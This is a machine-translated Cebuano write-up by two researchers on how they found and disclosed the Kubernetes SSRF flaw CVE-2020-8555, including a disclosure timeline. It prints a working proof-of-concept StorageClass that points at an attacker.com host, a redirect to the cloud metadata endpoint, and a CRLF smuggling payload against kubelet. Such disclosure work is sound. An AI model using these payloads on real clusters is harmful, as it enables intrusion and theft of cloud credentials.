🥇Sa diha nga kini dili lamang mahitungod sa kahuyang sa Kubernetes...

Nota. transl.: ang mga tagsulat niini nga artikulo naghisgot sa detalye kon sa unsang paagi sila nakahimo sa pagdiskobre sa kahuyang CVE-2020–8555 sa Kubernetes. Bisan kung sa sinugdan kini dili kaayo peligroso, inubanan sa uban pang mga hinungdan ang pagka-kritikal niini nahimo nga labing kataas alang sa pipila nga mga taghatag sa panganod. Daghang mga organisasyon ang madagayaong nagganti sa mga espesyalista alang sa ilang trabaho.

Kinsa man ta

Kami duha ka Pranses nga tigdukiduki sa seguridad nga dungan nga nakadiskubre sa usa ka kahuyang sa Kubernetes. Ang among mga ngalan mao sila Brice Augras ug Christophe Hauquiert, apan sa daghang mga plataporma sa Bug Bounty kami nailhan nga Reeverzax ug Hach matag usa:

Brice Augras - Groupe Asten Company;
Christophe Hauquiert - Kubernetes architect sa Nokia.

Unsay nahitabo?

Kini nga artikulo mao ang among paagi sa pagpaambit kung giunsa ang usa ka ordinaryo nga proyekto sa panukiduki nga wala damha nahimo nga labing kulbahinam nga adventure sa kinabuhi sa mga mangangayam sa bug (labing menos sa karon).

Sama sa imong nahibal-an, ang mga mangangayam sa bug adunay pipila ka mga bantog nga bahin:

nagpuyo sila sa pizza ug beer;
nagtrabaho sila kung ang tanan natulog.

Dili kami eksepsiyon niini nga mga lagda: kasagaran kami magkita sa katapusan sa semana ug mogugol ug walay tulog nga mga gabii sa pag-hack. Apan usa niini nga mga gabii natapos sa usa ka talagsaon nga paagi.

Sa sinugdan kami magkita aron hisgutan ang pag-apil sa CTF sa sunod nga adlaw. Atol sa panag-istoryahanay bahin sa seguridad sa Kubernetes sa usa ka gidumala nga palibot sa serbisyo, nahinumduman namon ang daan nga ideya sa SSRF (Pagpalsipikar sa Pangayo sa Side sa Server) ug nakahukom nga sulayan ang paggamit niini isip script sa pag-atake.

Sa alas 11 sa gabii nanglingkod kami aron sa paghimo sa among panukiduki ug natulog sayo sa buntag, natagbaw kaayo sa mga resulta. Kini tungod sa kini nga panukiduki nga among nakit-an ang programa sa MSRC Bug Bounty ug nakaabut sa usa ka pribilehiyo nga pag-uswag sa pagpahimulos.

Pipila ka semana/bulan ang milabay, ug ang wala damha nga resulta miresulta sa usa sa pinakataas nga ganti sa kasaysayan sa Azure Cloud Bug Bounty - dugang sa nadawat namo gikan sa Kubernetes!

Base sa among proyekto sa panukiduki, gipatik sa Kubernetes Product Security Committee CVE-2020–8555.

Karon gusto nako nga ipakaylap ang kasayuran bahin sa nakit-an nga kahuyangan kutob sa mahimo. Kami nanghinaut nga imong mapasalamatan ang pagpangita ug ipaambit ang teknikal nga mga detalye sa ubang mga miyembro sa infosec nga komunidad!

So mao ni among story...

Konteksto

Aron mas masabtan kung unsa ang nahitabo, atong tan-awon una kung giunsa ang Kubernetes nagtrabaho sa usa ka palibot nga gidumala sa panganod.

Kung imong gi-instantiate ang usa ka Kubernetes cluster sa ingon nga palibot, ang management layer kasagaran nga responsibilidad sa cloud provider:

Ang control layer nahimutang sa perimeter sa cloud provider, samtang ang Kubernetes nodes nahimutang sa perimeter sa customer

Aron sa dinamikong paggahin sa mga volume, usa ka mekanismo ang gigamit sa dinamikong paghatag niini gikan sa usa ka eksternal nga storage backend ug itandi kini sa PVC (persistent volume claim, i.e. usa ka hangyo alang sa usa ka volume).

Busa, human ang PVC gihimo ug gigapos sa StorageClass sa K8s cluster, ang dugang nga mga aksyon sa paghatag sa gidaghanon gikuha sa kube/cloud controller manager (ang eksaktong ngalan niini nagdepende sa pagpagawas). (Nota. transl.: Nagsulat na kami og dugang mahitungod sa CCM gamit ang panig-ingnan sa pagpatuman niini alang sa usa sa mga cloud providers dinhi.)

Adunay ubay-ubay nga mga matang sa mga provisioner nga gisuportahan sa Kubernetes: kadaghanan niini gilakip sa kinauyokan sa orkestra, samtang ang uban gidumala sa dugang nga mga provisioner nga gibutang sa mga pod sa cluster.

Sa among panukiduki, gipunting namon ang mekanismo sa paghatag sa internal nga volume, nga gihulagway sa ubos:

Dynamic nga paghatag sa mga volume gamit ang built-in nga Kubernetes provisioner

Sa laktod nga pagkasulti, kung ang Kubernetes gi-deploy sa usa ka gidumala nga palibot, ang tigdumala sa tigdumala mao ang responsibilidad sa cloud provider, apan ang hangyo sa paghimo sa volume (numero 3 sa dayagram sa ibabaw) mibiya sa internal nga network sa cloud provider. Ug dinhi diin ang mga butang mahimong makapaikag kaayo!

Pag-hack nga senaryo

Sa kini nga seksyon, among ipasabut kung giunsa namo gipahimuslan ang workflow nga gihisgutan sa ibabaw ug gi-access ang internal nga mga kapanguhaan sa cloud service provider. Ipakita usab niini kanimo kung giunsa nimo mahimo ang pipila nga mga aksyon, sama sa pagkuha sa mga internal nga kredensyal o pagtaas sa mga pribilehiyo.

Usa ka yano nga pagmaniobra (sa niini nga kaso, Serbisyo Side Request Forgery) nakatabang sa pag-adto sa unahan sa palibot sa kliyente ngadto sa mga cluster sa lain-laing mga service provider ubos sa gidumala nga K8s.

Sa among panukiduki naka-focus kami sa tagahatag sa GlusterFS. Bisan pa sa kamatuoran nga ang dugang nga pagkasunod-sunod sa mga aksyon gihulagway niini nga konteksto, ang Quobyte, StorageOS ug ScaleIO dali nga makuha sa parehas nga kahuyangan.

Pag-abuso sa dynamic nga volume provisioning mechanism

Atol sa pagtuki sa klase sa pagtipig GlusterFS sa Golang client source code kami namatikdannga sa una nga HTTP nga hangyo (3) nga gipadala sa panahon sa paghimo sa volume, hangtod sa katapusan sa naandan nga URL sa parameter resturl gidugang /volumes.

Nakahukom kami nga tangtangon kining dugang nga agianan pinaagi sa pagdugang # sa parameter resturl. Ania ang una nga pagsumpo sa YAML nga among gigamit sa pagsulay alang sa usa ka semi-buta nga pagkahuyang sa SSRF (mahimo nimong basahon ang dugang bahin sa semi-buta o tunga nga buta nga SSRF, pananglitan, dinhi - gibanabana. transl.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Dayon among gigamit ang binary aron sa layo nga pagdumala sa Kubernetes cluster kubectl. Kasagaran, ang mga cloud providers (Azure, Google, AWS, ug uban pa) nagtugot kanimo nga makakuha og mga kredensyal alang sa paggamit niini nga utility.

Salamat niini, nagamit nako ang akong "espesyal" nga file. Gipatuman sa Kube-controller-manager ang resulta nga HTTP request:

kubectl create -f sc-poc.yaml

Ang tubag gikan sa punto sa panglantaw sa tig-atake

Wala madugay pagkahuman niini, nakadawat usab kami usa ka tubag sa HTTP gikan sa target nga server - pinaagi sa mga mando describe pvc o get events sa kubectl. Ug sa tinuud: kini nga default nga drayber sa Kubernetes labi ka verbose sa mga pasidaan / mensahe sa sayup ...

Ania ang usa ka pananglitan nga adunay usa ka link sa https://www.google.frgibutang isip parameter resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Niini nga pamaagi, limitado kami sa mga pangutana sama sa HTTP POST ug dili makuha ang sulod sa tubag nga lawas kon ang return code mao 201. Busa, nakahukom kami sa paghimo og dugang nga panukiduki ug gipalapdan kini nga senaryo sa pag-hack sa bag-ong mga pamaagi.

Ang ebolusyon sa among panukiduki

Advanced nga Scenario #1: Paggamit sa 302 nga redirect gikan sa usa ka eksternal nga server aron usbon ang pamaagi sa HTTP aron mahatagan ang usa ka labi ka dali nga paagi aron makolekta ang internal nga datos.
Advanced nga Scenario #2: I-automate ang pag-scan sa LAN ug pagdiskobre sa internal nga kahinguhaan.
Advance scenario #3: gamit ang HTTP CRLF + smuggling (“request smuggling”) para makabuhat ug gipahaom nga HTTP requests ug makuha ang data nga gikuha gikan sa kube-controller logs.

Teknikal nga Detalye

Gigamit sa panukiduki ang Azure Kubernetes Service (AKS) nga adunay Kubernetes nga bersyon 1.12 sa rehiyon sa North Europe.
Ang mga senaryo nga gihulagway sa ibabaw gipatuman sa pinakabag-o nga pagpagawas sa Kubernetes, gawas sa ikatulo nga senaryo, tungod kay gikinahanglan niya ang Kubernetes nga gitukod gamit ang Golang nga bersyon ≤ 1.12.
Ang eksternal nga server sa tig-atake - https://attacker.com.

Advanced nga Scenario #1: Pag-redirect sa usa ka HTTP POST nga hangyo aron GET ug makadawat sa sensitibo nga datos

Ang orihinal nga pamaagi gipauswag pinaagi sa pag-configure sa server sa tig-atake aron makabalik 302 HTTP Retcodesa pag-convert sa POST request ngadto sa GET request (lakang 4 sa diagram):

Unang hangyo (3) gikan sa kliyente GlusterFS (Controller Manager), adunay POST type. Pinaagi sa pagsunod niini nga mga lakang nahimo namon kini nga GET:

Ingon usa ka parameter resturl sa StorageClass kini gipakita http://attacker.com/redirect.php.
Endpoint https://attacker.com/redirect.php motubag gamit ang 302 HTTP status code nga adunay mosunod nga Location Header: http://169.254.169.254. Kini mahimo nga bisan unsang uban nga internal nga kapanguhaan - sa kini nga kaso, ang redirect link gigamit lamang ingon usa ka pananglitan.
pinaagi sa default net/http librarya Gi-redirect ni Golang ang hangyo ug gi-convert ang POST ngadto sa GET nga adunay 302 status code, nga miresulta sa HTTP GET nga hangyo sa target nga kapanguhaan.

Aron mabasa ang lawas sa pagtubag sa HTTP kinahanglan nimo buhaton describe PVC nga butang:

kubectl describe pvc xxx

Ania ang usa ka pananglitan sa usa ka tubag sa HTTP sa format nga JSON nga among nadawat:

Ang mga kapabilidad sa nakit-an nga kahuyangan niadtong panahona limitado tungod sa mosunod nga mga punto:

Kawalay katakus sa pagsal-ot sa mga ulohan sa HTTP sa nanggawas nga hangyo.
Kawalay katakus sa paghimo sa usa ka POST nga hangyo nga adunay mga parameter sa lawas (kini sayon sa paghangyo sa yawe nga bili gikan sa usa ka etcd nga pananglitan nga nagdagan sa 2379 port kung gigamit ang unencrypted HTTP).
Kawalay katakus sa pagkuha sa tubag sa sulod sa lawas sa dihang ang status code kay 200 ug ang tubag walay JSON Content-Type.

Advanced nga senaryo #2: Pag-scan sa lokal nga network

Kining half-blind SSRF nga pamaagi gigamit dayon sa pag-scan sa internal nga network sa cloud provider ug pag-poll sa nagkalain-laing serbisyo sa pagpamati (Instance sa Metadata, Kubelet, etcd, etc.) base sa mga tubag. kube controller.

Una, ang standard listening ports sa Kubernetes components gitino (8443, 10250, 10251, etc.), ug unya kinahanglan namong i-automate ang proseso sa pag-scan.

Sa pagkakita nga kini nga pamaagi sa pag-scan sa mga kapanguhaan espesipiko kaayo ug dili tugma sa mga klasiko nga scanner ug SSRF nga mga himan, nakahukom kami nga maghimo sa among kaugalingon nga mga trabahante sa usa ka bash script nga awtomatiko ang tibuuk nga proseso.

Pananglitan, aron dali nga ma-scan ang range 172.16.0.0/12 sa internal nga network, 15 ka mga trabahante ang gilunsad nga managsama. Ang naa sa taas nga IP range gipili isip usa ka pananglitan lamang ug mahimong mausab sa imong piho nga service provider sa IP range.

Aron ma-scan ang usa ka IP address ug usa ka port, kinahanglan nimong buhaton ang mosunod:

kuhaa ang katapusang gisusi nga StorageClass;
kuhaa ang miaging napamatud-an nga Persistent Volume Claim;
usba ang mga kantidad sa IP ug Port sa sc.yaml;
paghimo og StorageClass nga adunay bag-ong IP ug port;
paghimo og bag-ong PVC;
kuhaa ang mga resulta sa scan gamit ang describe para sa PVC.

Advanced nga senaryo #3: CRLF injection + smuggling HTTP sa "daan" nga bersyon sa Kubernetes cluster

Kung dugang pa niini ang provider nagtanyag sa mga kliyente sa daan nga mga bersyon sa K8s cluster и naghatag kanila og access sa mga log sa kube-controller-manager, ang epekto nahimong mas mahinungdanon.

Sa tinuud mas sayon alang sa usa ka tig-atake nga usbon ang mga hangyo sa HTTP nga gidisenyo aron makakuha usa ka hingpit nga tubag sa HTTP sa iyang pagbuot.

Aron mapatuman ang katapusang senaryo, ang mosunod nga mga kondisyon kinahanglang matuman:

Ang user kinahanglan adunay access sa kube-controller-manager logs (sama pananglit, sa Azure LogInsights).
Ang Kubernetes cluster kinahanglang mogamit ug bersyon sa Golang nga ubos sa 1.12.

Nag-deploy kami usa ka lokal nga palibot nga nagsundog sa komunikasyon tali sa kliyente sa GlusterFS Go ug usa ka peke nga target nga server (dili na namon imantala ang PoC sa pagkakaron).

Nakaplagan pagkahuyang, nga nakaapekto sa mga bersyon sa Golang nga ubos sa 1.12 ug nagtugot sa mga hacker sa paghimo sa HTTP smuggling/CRLF nga mga pag-atake.

Pinaagi sa paghiusa sa half-blind SSRF nga gihulagway sa ibabaw magkauban uban niini, nakahimo kami sa pagpadala sa mga hangyo sumala sa among gusto, lakip ang pag-ilis sa mga ulohan, pamaagi sa HTTP, mga parameter ug datos, nga giproseso dayon sa kube-controller-manager.

Ania ang usa ka pananglitan sa usa ka nagtrabaho nga "paon" sa usa ka parameter resturl StorageClass, nga nagpatuman sa susamang senaryo sa pag-atake:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Ang resulta usa ka sayup wala gipangayo nga tubag, usa ka mensahe nga girekord sa mga log sa controller. Salamat sa verbosity nga gipalihok pinaagi sa default, ang mga sulud sa mensahe sa pagtubag sa HTTP gitipigan usab didto.

Kini ang among labing epektibo nga "paon" sulod sa gambalay sa pruweba sa konsepto.

Gamit kini nga pamaagi, nakahimo kami sa pipila sa mosunod nga mga pag-atake sa mga cluster sa nagkalain-laing gidumala nga k8s providers: privilege escalation uban sa mga kredensyal sa metadata instances, Master DoS pinaagi sa (unencrypted) HTTP requests sa etcd master instances, etc.

Mga sangputanan

Sa opisyal nga pahayag sa Kubernetes bahin sa kahuyang sa SSRF nga among nadiskobrehan, kini gi-rate CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Kung atong tagdon ang kahuyang nga nalangkit sa perimeter sa Kubernetes, ang integridad nga vector (integridad nga vector) kini kuwalipikado isip Walay.

Bisan pa, ang pag-assess sa posible nga mga sangputanan sa konteksto sa usa ka gidumala nga palibot sa serbisyo (ug kini ang labing makapaikag nga bahin sa among panukiduki!) Nag-aghat kanamo nga i-reclassify ang pagkahuyang sa usa ka rating Kritikal nga CVSS10/10 alang sa daghang mga distributor.

Sa ubos mao ang dugang nga kasayuran aron matabangan ka nga masabtan ang among mga konsiderasyon sa pagtimbang-timbang sa mga potensyal nga epekto sa mga palibot sa panganod:

Integridad

Ipatuman ang mga mando sa layo gamit ang nakuha nga internal nga mga kredensyal.
Pag-usab sa senaryo sa ibabaw gamit ang IDOR (Insecure Direct Object Reference) nga pamaagi sa ubang mga kapanguhaan nga makita sa lokal nga network.

Pagkumpidensyal

Uri sa pag-atake Kilid nga Kalihokan salamat sa pagpangawat sa mga kredensyal sa panganod (pananglitan, metadata API).
Pagkolekta sa kasayuran pinaagi sa pag-scan sa lokal nga network (pagtino sa bersyon sa SSH, bersyon sa HTTP server, ...).
Kolektaha ang instance ug impormasyon sa imprastraktura pinaagi sa pagboto sa mga internal nga API sama sa metadata API (http://169.254.169.254,…).
Pagkawat sa datos sa kustomer gamit ang mga kredensyal sa panganod.

Pagkaon

Ang tanan nga pagpahimulos nga mga senaryo nga may kalabotan sa pag-atake sa mga vector sa integridad, mahimong gamiton alang sa makadaot nga mga aksyon ug mosangpot sa master nga mga higayon gikan sa perimeter sa kliyente (o bisan unsa nga lain) nga dili magamit.

Tungod kay naa kami sa usa ka gidumala nga palibot sa K8 ug gisusi ang epekto sa integridad, mahanduraw namon ang daghang mga senaryo nga mahimong makaapekto sa pagkaanaa. Ang dugang nga mga pananglitan naglakip sa pagdaot sa etcd database o paghimo sa usa ka kritikal nga tawag sa Kubernetes API.

Timeline

Disyembre 6, 2019: Ang pagkahuyang nga gitaho sa MSRC Bug Bounty.
Enero 3, 2020: Gipahibalo sa ikatulo nga partido ang mga developer sa Kubernetes nga nagtrabaho kami sa usa ka isyu sa seguridad. Ug gihangyo sila nga ikonsiderar ang SSRF ingon usa ka internal (in-core) nga kahuyangan. Naghatag kami dayon usa ka kinatibuk-ang taho nga adunay mga teknikal nga detalye bahin sa gigikanan sa problema.
Enero 15, 2020: Naghatag kami og teknikal ug kinatibuk-ang mga taho sa mga developer sa Kubernetes sa ilang hangyo (pinaagi sa plataporma sa HackerOne).
Enero 15, 2020: Gipahibalo kami sa mga developer sa Kubernetes nga ang half-blind SSRF + CRLF injection alang sa nangaging mga pagpagawas giisip nga usa ka in-core nga kahuyangan. Gihunong dayon namo ang pag-analisar sa mga perimeter sa ubang mga service provider: ang K8s team karon nag-atubang sa hinungdan nga hinungdan.
Enero 15, 2020: Ang ganti sa MSRC nadawat pinaagi sa HackerOne.
Enero 16, 2020: Giila sa Kubernetes PSC (Product Security Committee) ang pagkahuyang ug gihangyo nga itago kini hangtod sa tungatunga sa Marso tungod sa daghang mga potensyal nga biktima.
Pebrero 11, 2020: Nadawat ang ganti sa Google VRP.
Marso 4, 2020: Ang reward sa Kubernetes nadawat pinaagi sa HackerOne.
Marso 15, 2020: Gi-postpone ang orihinal nga pagbutyag sa publiko tungod sa sitwasyon sa COVID-19.
Hunyo 1, 2020: Kubernetes + Microsoft hiniusang pahayag bahin sa pagkahuyang.

TL; DR

Moinom mi ug beer ug mokaon ug pizza :)
Nadiskobrehan namo ang usa ka in-core nga kahuyangan sa Kubernetes, bisan tuod wala kamiy tuyo sa pagbuhat niini.
Naghimo kami og dugang nga pagtuki sa mga pungpong sa lain-laing mga cloud providers ug nakahimo sa pagdugang sa kadaot nga gipahinabo sa pagkahuyang nga makadawat og dugang nga katingad-an nga mga bonus.
Makita nimo ang daghang teknikal nga mga detalye sa kini nga artikulo. Nalipay kami nga hisgutan kini kanimo (Twitter: @ReeverZax & @__hach_).
Nahibal-an nga ang tanan nga mga klase sa pormalidad ug pagreport mas dugay kaysa gipaabut.

mga pakisayran

PS gikan sa tighubad

Basaha usab sa among blog:

Source: www.habr.com

Kung dili lang bahin sa mga kahuyangan sa Kubernetes ...